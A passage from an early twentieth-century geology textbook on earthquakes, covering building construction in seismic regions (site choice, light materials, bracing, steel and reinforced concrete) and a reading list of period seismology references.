which is supported by the loose braid because of the large range or
amplitude of movement that is imparted to the pan. The “elastic”
braid, because of these large vibrations of which it is susceptible,
may represent the loose materials when an earthquake wave passes
into them. In the case of the steel support, the energy of the blow,
instead of being dissipated in local swingings of the pan, is to a large
extent transmitted through the elastic metal to materials beyond.
The steel thus resembles in its high elasticity the firmer rock
basement, which receives and transmits the earthquake shocks, but
except when ruptured in a fault is subject to vibrations of small
amplitude only.
Construction in earthquake regions.—Wherever earthquakes
have been felt, they are certain to occur again; and wherever
mountains are growing or changes of level are in progress, there no
record of past earthquakes is required in order to forecast the future
seismic history. Although the future earthquakes may be predicted,
the time of their coming is, fortunately or unfortunately, still hidden
from us. If one’s lot is to be cast in an earthquake country, the only
sane course to pursue is to build with due regard to future
contingencies.
The danger, from destructive fires may to-day be largely met by
methods of construction which levy an additional burden of cost.
Though the danger from seismic disturbances can hardly be met as
fully as that from fire, yet it is true that buildings may be so
constructed as to withstand all save those heaviest shocks in the
immediate vicinity of the lines of large displacement. Here, also, a
considerable additional expense is involved in the method of
construction, in the case of residences particularly.
From what has been said, it is obvious that much of the danger
from earthquakes can be met by a choice of site away from lines of
important fracture and from areas of relatively loose foundation. The
choice of building materials is next of importance. Those buildings
which succumb to earthquakes are in most cases racked or shaken
apart, and thus they become a prey to their own inherent properties
of inertia. Each part of a structure may be regarded as a weight
which is balanced upon a stiff rod and pivoted upon the ground.
When shocks arrive, each part tends to be thrown into vibration
after the manner of an inverted pendulum. In proportion, therefore,
as the weights are large and rest upon long supports, the danger of
overthrow and of tearing apart is increased. In general, structures
are best constructed of light materials whose weight is concentrated
near the ground. Masonry structures, and especially high ones, are,
therefore, the least suited for resisting earthquakes, of which the
late complete destruction of the city of Messina is a grewsome
reminder. Despite repeated warnings in the past, the buildings of
that stricken city were generally constructed of heavy rubble, which
in addition had been poorly cemented (Fig. 49, p. 67). Such
structures are usually first ruptured at the edges and corners, since
here the vibrations which tend to tear the building asunder are
resisted by no supports and are reënforced from neighboring walls.

Fig. 85.—House wrecked in San Francisco earthquake of 1906


because the floors and partitions were not securely fastened to
the walls (after R. L. Humphrey).
An advantage of the first importance is evidently secured if the
rods of the pendulum, of which the building is conceived to be
composed, have sufficient elasticity to be considerably distorted
without rupture and to again recover their original position. This is
the supreme advantage of structural steel for all large buildings,
which is coupled, however, with the disadvantage that the riveted
fastenings are apt to be quickly sheered off under the vibrations.
Large and high buildings, when sufficiently elastic, have fortunately
the property of destroying the earth waves by interference before
they have traveled above the lower stories.
For large structures in which wood cannot be used, strongly
reënforced concrete is well adapted, for it has in general the same
advantages as steel with somewhat reduced elasticity, but with a
more effective binding together of the parts. This requirement of
thorough bracing and tying together of the several parts of a
building causes it to vibrate, not as many pendulums, but as one
body. If met, it removes largely the danger from racking strains, and
for small structures particularly it is the requirement which is most
easily complied with. For such buildings it is therefore necessary that
the framework should be built in a close network with every joint
firmly braced and with all parts securely tied together. Especial
attention should be given to the fastenings of floor and partition
ends. The house shown in Fig. 85 could not have been subjected to
heavy shocks, for though the walls are thrown down, the floors and
partitions have been left near their original positions.
Fig. 86.—Building wrecked at San Mateo, California, during the
late earthquake. The heavy roof and upper floor, acting as a
unit, have battered down the upper walls (after J. C. Branner).

This tendency of the walls, floors, partitions, and roof to act as


individual units in the vibration, is one that must be reckoned with
and be met by specially effective bracing and tying at the junctions.
Otherwise these larger parts of the structure may act like battering
rams to throw over the walls or portions of them (Fig. 86).

Reading References for Chapters VII and VIII


General works:—
John Milne. Seismology. London, 1898, pp. 320.
C. E. Dutton. Earthquakes in the Light of the New Seismology.
Putnam, New York, 1904, pp. 314.
A. Sieberg. Handbuch der Erdbebenkunde. Braunschweig, 1904, pp.
362.
Count F. de Montessus de Ballore. Les Tremblements de Terre,
Géographie Séismologique. Paris, 1906, pp. 475; La Science
Séismologique. Paris, 1907, pp. 579.
William Herbert Hobbs. Earthquakes, an Introduction to Seismic
Geology. Appleton, New York, 1907, pp. 336.
C. G. Knott. The Physics of Earthquake Phenomena. Clarendon
Press, Oxford, 1908, pp. 283.
E. Rudolph. Ueber Submarine Erdbeben und Eruptionen, Beiträge zur
Geophysik, vol. 1, 1887, pp. 133-365; vol. 2, 1895, pp. 537-666;
vol. 3, 1898, pp. 273-536.

Descriptive reports of some important earthquakes:—


C. E. Dutton. The Charleston Earthquake of August 31, 1886, 9th
Ann. Rept. U. S. Geol. Surv., 1889, pp. 203-528.
B. Kotô. On the Cause of the Great Earthquake in Central Japan,
1891, Jour. Coll. Sci. Imp. Univ., Tokyo, Japan, vol. 5, 1893, pp.
295-353, pls. 28-35.
John Milne and W. K. Burton. The Great Earthquake of Central Japan.
1891, pp. 10, pls. 30.
R. D. Oldham. Report on the Great Earthquake of 12th June, 1897,
Mem. Geol. Surv. India. Vol. 29, 1899, pp. 379, pls. 42.
A. C. Lawson, and others. The California Earthquake of April 18,
1906, Report of the State Earthquake Investigation Commission,
three quarto vols. (Carnegie Institution of Washington); many
plates and figures.
Italian Photographic Society, Messina and Reggio before and after
the Earthquake of December 28, 1908 (an interesting collection
of pictures). Florence, 1909.
R. S. Tarr and L. Martin. Recent Changes of Level in the Yakutat Bay
Region, Alaska, Bull. Geol. Soc. Am., vol. 17, 1906, pp. 29-64,
pls. 12-23.
William Herbert Hobbs. The Earthquake of 1872 in the Owens Valley,
California, Beiträge zur Geophysik, vol. 10, 1910, pp. 352-385,
pls, 10-23.

Faults in connection with earthquakes:—


William H. Hobbs. On Some Principles of Seismic Geology, Beiträge
zur Geophysik, vol. 8, 1907, Chapters iv-v.

Expansion or contraction of the earth’s surface during


earthquakes:—
William H. Hobbs. A Study of the Damage to Bridges during
Earthquakes, Jour. Geol., vol. 16, 1908, pp. 636-653; The
Evolution and the Outlook of Seismic Geology, Proc. Am. Phil.
Soc., vol. 48, 1909, pp. 27-29.

Earthquake construction:—
John Milne. Construction in Earthquake Countries, Trans. Seis. Soc.,
Japan, vol. 14, 1889-1890, pp. 1-246.
F. de Montessus de Ballore. L’art de bâtir dans les pays à tremblements
de terre (34th Congress of French Architects), L’Architecture,
193 Année, 1906, pp. 1-31.
Gilbert, Humphrey, Sewell, and Soulé. The San Francisco Earthquake
and Fire of April 18, 1906, and their Effects on Structures and
Structural Materials, Bull. 324, U. S. Geol. Surv., 1907, pp. 1-
170, pls. 1-57.
William H. Hobbs. Construction in Earthquake Countries, The
Engineering Magazine, vol. 37, 1909, pp. 1-19.
Lewis Alden Estes. Earthquake-proof Construction, a discussion of the
effects of earthquakes on building construction with special
reference to structures of reënforced concrete, published by
Trussed Concrete Steel Company. Detroit, 1911, pp. 46.
Welcome to our website – the ideal destination for book lovers and
knowledge seekers. With a mission to inspire endlessly, we offer a
vast collection of books, ranging from classic literary works to
specialized publications, self-development books, and children's
literature. Each book is a new journey of discovery, expanding
knowledge and enriching the soul of the reade

Our website is not just a platform for buying books, but a bridge
connecting readers to the timeless values of culture and wisdom. With
an elegant, user-friendly interface and an intelligent search system,
we are committed to providing a quick and convenient shopping
experience. Additionally, our special promotions and home delivery
services ensure that you save time and fully enjoy the joy of reading.

Let us accompany you on the journey of exploring knowledge and


personal growth!

ebooknice.com

You might also like